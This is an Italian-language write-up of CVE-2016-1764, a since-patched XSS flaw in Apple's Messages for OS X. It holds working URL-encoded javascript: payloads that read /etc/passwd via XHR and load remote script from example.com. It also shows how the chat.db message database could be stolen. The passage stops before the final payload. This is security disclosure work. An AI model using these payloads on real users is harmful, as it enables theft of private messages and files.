moloch--/cve-2016-1764Estrazione dei dati di iMessage tramite XSS
Vendor: Apple
Data di rilascio: 8 aprile 2016
Data della patch: 21 marzo 2016
Sistemi interessati: Messages su OSX Mountain Yosemite, El Capitan
Mentre la maggior parte del recente dibattito su Apple si è concentrato sulla crittografia, l'industria e le forze dell'ordine sembrano aver dimenticato che vulnerabilità applicative più semplici possono essere sfruttate per aggirare del tutto la crittografia. CVE-2016-1764, corretta da Apple a marzo 2016, è un bug a livello applicativo che consente la divulgazione remota in chiaro di tutti i contenuti dei messaggi e degli allegati sfruttando il client iMessage di OS X. Inoltre, non serve una laurea in matematica per sfruttarlo, né richiede una conoscenza approfondita della gestione della memoria, dello shellcode o di complesse catene ROP per bypassare l'ASLR. In realtà, è un bug relativamente semplice che può essere sfruttato da chiunque abbia una conoscenza di base di JavaScript.
Messages (iMessage) per OS X di Apple implementa la propria interfaccia utente utilizzando una versione embedded di WebKit; inoltre, Messages su OS X renderizza qualsiasi URI come un link cliccabile <a href=. Un attaccante può creare un semplice URI JavaScript (ad esempio javascript:) che, una volta cliccato, garantisce all'attaccante l'esecuzione iniziale di JavaScript (XSS) nel contesto del DOM dell'applicazione. Sebbene la libreria WebKit embedded utilizzata da Messages per OS X venga eseguita in un'origine applewebdata://, un attaccante può comunque leggere file arbitrari utilizzando richieste XMLHttpRequest (XHR) GET verso un URI file://, poiché non è implementata alcuna same-origin policy (SOP). Abusando di XHR per leggere file, un attaccante può caricare l'intera cronologia delle chat e gli allegati di una vittima su un server remoto alla massima velocità consentita dalla connessione Internet della vittima; l'unica interazione richiesta all'utente è fare clic su un singolo link nella chat. Inoltre, se l'inoltro SMS è attivo, l'attaccante può anche recuperare i messaggi inviati/ricevuti dall'iPhone della vittima.
Se vuoi conoscere tutti i dettagli più spinosi, continua a leggere.
Messages per OS X utilizza una versione embedded di WebKit per gran parte della sua interfaccia utente. Quando i messaggi vengono inviati o ricevuti dall'applicazione, viene inserito HTML nel DOM per renderizzare l'interfaccia utente e qualsiasi allegato/contenuto multimediale inviato. Tutti i messaggi inviati tramite l'applicazione vengono renderizzati in un DOM e, di conseguenza, le comuni vulnerabilità web lato client possono compromettere l'applicazione.
Durante il test del client Messages per OS X, è stato scoperto che schemi di protocollo arbitrari venivano automaticamente convertiti in link e inseriti nel DOM. Ad esempio, i seguenti URI vengono tutti inseriti come link nella WebView quando vengono inviati come messaggi:
test://test
smb://[email protected]
file:///etc
anyurihandler://anycontentafter
Poiché Messages per OS X non implementa una whitelist dei protocolli accettati, un attaccante può inviare alla vittima un messaggio contenente un URI JavaScript javascript:, che verrà convertito in un link cliccabile sulla macchina della vittima.
Una volta cliccato, la WebKit embedded eseguirà puntualmente il JavaScript controllato dall'attaccante nell'origine corrente, ad esempio:
Nota che %0a (cioè \n) viene usato per uscire dal commento JavaScript //, necessario per corrispondere al pattern di collegamento del parser. Una volta interpretato, il codice assomiglia a:
//bishopfox.com/research?
prompt(1)
Facendo clic su questo link, viene attivato un prompt JavaScript all'interno di Messages per OS X:
Tuttavia, Messages per OS X è un'applicazione desktop, non un sito web. Pertanto il JavaScript viene eseguito nel contesto di un'origine applewebdata://:
Tuttavia, il codice dell'attaccante viene eseguito in un'implementazione WebKit completa, quindi XMLHttpRequest è disponibile in fase di runtime. Una delle differenze fondamentali tra una versione embedded di WebKit e un browser web come Chrome o Safari è che la versione embedded non implementa alcuna same-origin policy (SOP), trattandosi di un'applicazione desktop nativa. Un attaccante può sfruttare questo per leggere file dal filesystem locale senza violare la same-origin policy, inviando richieste XMLHttpRequest GET verso URI file://. L'unico requisito è che l'attaccante debba conoscere il percorso completo del file; i percorsi relativi del filesystem (ad esempio ~/.ssh/id_rsa) non possono essere utilizzati.
Ad esempio, il seguente JavaScript può essere eseguito dal DOM dell'applicazione Messages per leggere il file /etc/passwd:
function reqListener () {
prompt(this.responseText);
// send back to attackers server here
}
var oReq = new XMLHttpRequest();
oReq.addEventListener("load", reqListener);
oReq.open("GET", "file:///etc/passwd");
oReq.send();
Convertito in un payload URI, il codice appare come segue:
javascript://bishopfox.com/research?%0d%0afunction%20reqListener%20()%20%7B%0A%20%20prompt(this.responseText)%3B%0A%7D%0Avar%20oReq%20%3D%20new%20XMLHttpRequest()%3B%0AoReq.addEventListener(%22load%22%2C%20reqListener)%3B%0AoReq.open(%22GET%22%2C%20%22file%3A%2F%2F%2Fetc%2Fpasswd%22)%3B%0AoReq.send()%3B
Quando viene cliccato nell'applicazione Messages, appare il seguente prompt:
Poiché il vettore sopra è piuttosto lungo e appare eccessivamente sospetto, è possibile accorciare l'URI caricando dinamicamente JavaScript da un dominio e includendolo nel DOM. Ad esempio, il seguente vettore inietta il JavaScript da http://example.com/1.js nel DOM di Messages:
javascript://bishopfox.com/research?%0a%28function%28s%29%7Bs.src%3D%27http%3A%2f%2fexample.com%2f1.js%27%3Bdocument.body.appendChild%28s%29%7D%29%28document.createElement%28%27script%27%29%29
Il file JavaScript referenziato //example.com/1.js nel vettore sopra può contenere istruzioni JavaScript arbitrarie di lunghezza arbitraria.
Tuttavia, la sandbox dell'applicazione OS X limitava l'accesso al filesystem solo a ~/Library/Messages/* e ad alcune altre directory di sistema non utente come /etc/.
Quando messages e allegati vengono ricevuti da Messages su OS X, vengono salvati nella seguente directory:
/Users/<username>/Library/Messages/*
Il contenuto testuale di questi messaggi e altri metadati sono memorizzati in un database SQLite situato in:
/Users/<username>/Library/Messages/chat.db
Questo database contiene anche le posizioni di tutti gli allegati presenti sulla macchina dell'utente.
Per rubare questo database e, successivamente, tutti gli allegati mai ricevuti o inviati da una vittima, è necessario un payload di attacco più avanzato.